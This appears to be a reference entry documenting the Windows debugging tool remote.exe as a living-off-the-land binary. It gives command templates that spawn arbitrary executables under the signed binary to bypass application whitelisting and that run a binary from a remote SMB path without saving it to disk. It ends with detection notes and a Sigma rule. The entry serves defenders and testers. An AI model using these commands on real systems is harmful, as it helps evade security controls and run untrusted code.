Remote.exe
Debugging tool included with Windows Debugging Tools
Paths
C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\remote.exeC:\Program Files (x86)\Windows Kits\10\Debuggers\x86\remote.exe
Commands
AWL Bypass
Spawns specified executable as a child process of remote.exe
Use case: Executes a process under a trusted Microsoft signed binary
Privileges: User
Remote.exe /s {PATH:.exe} anythinghere
Execute
Spawns specified executable as a child process of remote.exe
Use case: Executes a process under a trusted Microsoft signed binary
Privileges: User
Remote.exe /s {PATH:.exe} anythinghere
Execute
Run a remote file
Use case: Executing a remote binary without saving file to disk
Privileges: User
Remote.exe /s {PATH_SMB:.exe} anythinghere
Detection
- IOC: remote.exe process spawns
- Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml